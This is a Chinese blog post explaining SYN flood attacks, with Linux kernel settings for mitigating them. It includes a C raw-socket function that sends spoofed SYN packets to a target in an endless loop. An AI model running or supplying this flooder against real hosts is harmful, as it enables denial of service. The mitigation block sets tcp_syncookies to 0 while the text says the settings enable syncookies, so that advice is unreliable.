Chinaunix首页 | 论坛 | 博客
  • 博客访问: 331342
  • 博文数量: 106
  • 博客积分: 1115
  • 博客等级: 少尉
  • 技术积分: 806
  • 用 户 组: 普通用户
  • 注册时间: 2006-08-04 08:06
文章分类

全部博文(106)

文章存档

2015年(4)

2014年(48)

2013年(15)

2012年(38)

2011年(1)

我的朋友

分类: LINUX

2014-02-12 04:17:53

http://blog.chinaunix.net/uid-29242873-id-4096149.html

近期遇到几例服务器被SYN攻击的问题,今天详细分析一下SYN flood攻击的原理

简单回顾一下TCP/IP三次握手的过程



1. Host A 发送一个TCP SYNchronize 包到 Host B
2. Host B 收到 Host A的SYN
3. Host B 发送一个 SYNchronize-ACKnowledgement
4. Host A 接收到Host B的 SYN-ACK
5. Host A 发送ACKnowledge
6. Host B 接收到ACK
7.TCP socket 连接建立ESTABLISHED.

SYN flood(SYN洪水攻击)
在三次握手过程中,Host B发送SYN-ACK之后,收到Host A的ACK之前的TCP连接称为半连接(half-open connect).此时Host B处于SYN_RECV状态.当收到ACK后,Host B转入ESTABLISHED状态.
SYN攻击就是攻击端Host A在短时间内伪造大量不存在的伪IP地址,向Host B不断地发送SYN包,Host B回复确认包,并等待Host A的确认,由于源地址是不存在的,Host B需要不断的重发包直 至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。
SYN flood攻击是一种典型的DDos攻击。检测SYN攻击非常的方便,当你在服务器上看到大量的半连接状态时,特别是源IP地址是随机的,基本上可以断定这是一次SYN攻击.

我们可以用C语言写个程序模拟SYN flood攻击,以下为程序片段

点击(此处)折叠或打开


  1. void flood(unsigned int src_host, unsigned int dst_host, unsigned short port)
  2. {
  3.     struct
  4.     {
  5.         struct iphdr ip;
  6.         struct tcphdr tcp;
  7.     } packet;
  8.     
  9.     struct
  10.     {
  11.         unsigned int source_address;
  12.         unsigned int dest_address;
  13.         unsigned char placeholder;
  14.         unsigned char protocol;
  15.         unsigned short tcp_length;
  16.         struct tcphdr tcp;
  17.     } pseudo_header;

  18.     int sock, sinlen;
  19.     struct sockaddr_in sin;
  20.     
  21.     packet.ip.ihl = 5;
  22.     packet.ip.version = 4;
  23.     packet.ip.tos = 0;
  24.     packet.ip.tot_len = htons(40);
  25.     packet.ip.id = getpid();
  26.     packet.ip.frag_off = 0;
  27.     packet.ip.ttl = 255;
  28.     packet.ip.protocol = IPPROTO_TCP;
  29.     packet.ip.check = 0;
  30.     packet.ip.saddr = src_host;
  31.     packet.ip.daddr = dst_host;

  32.     packet.tcp.source = getpid();
  33.     packet.tcp.dest = htons(port);
  34.     packet.tcp.seq = getpid();
  35.     packet.tcp.ack_seq = 0;
  36.     packet.tcp.res1 = 0;
  37.     packet.tcp.doff = 5;
  38.     packet.tcp.fin = 0;
  39.     packet.tcp.syn = 1;
  40.     packet.tcp.rst = 0;
  41.     packet.tcp.psh = 0;
  42.     packet.tcp.ack = 0;
  43.     packet.tcp.urg = 0;
  44.     packet.tcp.window = htons(512);
  45.     packet.tcp.check = 0;
  46.     packet.tcp.urg_ptr = 0;

  47.     sin.sin_family = AF_INET;
  48.     sin.sin_port = packet.tcp.source;
  49.     sin.sin_addr.s_addr = packet.ip.daddr;


  50.     
  51.     if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  52.     {
  53.         
  54.         exit(1);
  55.     }

  56.     
  57.     for(;;)
  58.     {
  59.         packet.tcp.source++;
  60.         packet.ip.id++;
  61.         packet.tcp.seq++;
  62.         packet.tcp.check = 0;
  63.         packet.ip.check = 0;
  64.         packet.ip.check = in_cksum((unsigned short *)&packet.ip, 20);
  65.         pseudo_header.source_address = packet.ip.saddr;
  66.         pseudo_header.dest_address = packet.ip.daddr;
  67.         pseudo_header.placeholder = 0;
  68.         pseudo_header.protocol = IPPROTO_TCP;
  69.         pseudo_header.tcp_length = htons(20);
  70.         bcopy((char *)&packet.tcp, (char *)&pseudo_header.tcp, 20);
  71.         packet.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);
  72.         sinlen = sizeof(sin);
  73.         sendto(sock, &packet, 40, 0, (struct sockaddr *)&sin, sinlen);
  74.     }
  75.     close(sock);


在Host A上执行攻击程序,伪装源IP成8.8.8.8(google DNS),目标地址192.168.39.131的80端口


在Host B上netstat -an | grep  SYN_RECV可以看到产生大量SYN_RECV状态的连接


此时Host B收到包后连接为SYN_RECV状态,根据TCP/IP协议应该发送SYN_ACK回复给Host A,在Host B上使用tcpdump -i eth0 'tcp [13] & 2 =2'抓取,发现存在大量SYN_ACK状态的连接,
可惜源ip为伪装的地址,所以会超时重传。此时如有正常请求Host B的80端口,它的SYN包就会被Host B丢弃,因为半连接队列已经满了(耗尽内存以及CPU资源),从而达到攻击目的。

 
Linux kernel也提供了Syncookies 等机制来防止syn攻击,以下是具体修改的内核参数

点击(此处)折叠或打开

  1. # default = 5
  2. net.ipv4.tcp_syn_retries = 3
  3. # default = 5
  4. net.ipv4.tcp_synack_retries = 3
  5. # default = 1024
  6. net.ipv4.tcp_max_syn_backlog = 65536
  7. # default = 124928
  8. net.core.wmem_max = 8388608
  9. # default = 131071
  10. net.core.rmem_max = 8388608
  11. # default = 128
  12. net.core.somaxconn = 512
  13. # default = 20480
  14. net.core.optmem_max = 81920
  15. # default = 1
  16. net.ipv4.tcp_syncookies = 0
其中net.ipv4.tcp_synack_retries, net.ipv4.tcp_syncookies, net.ipv4.tcp_max_syn_backlog 作用分别是减小SYN_ACK重传次数,启用syn cookie和增加半连接队列长度
虽然系统能在当半连接队列满时,启用syn cookie功能,但也不是可以完全防御的。因为其一,Linux kernel的协议栈本身对此类DDos攻击的防御效有缺陷;其二,如果说攻击瞬间并发量足够大,毕竟Host B的CPU、内存资源是有限的,所以一般采用专业的硬件防火墙设备。
阅读(584) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~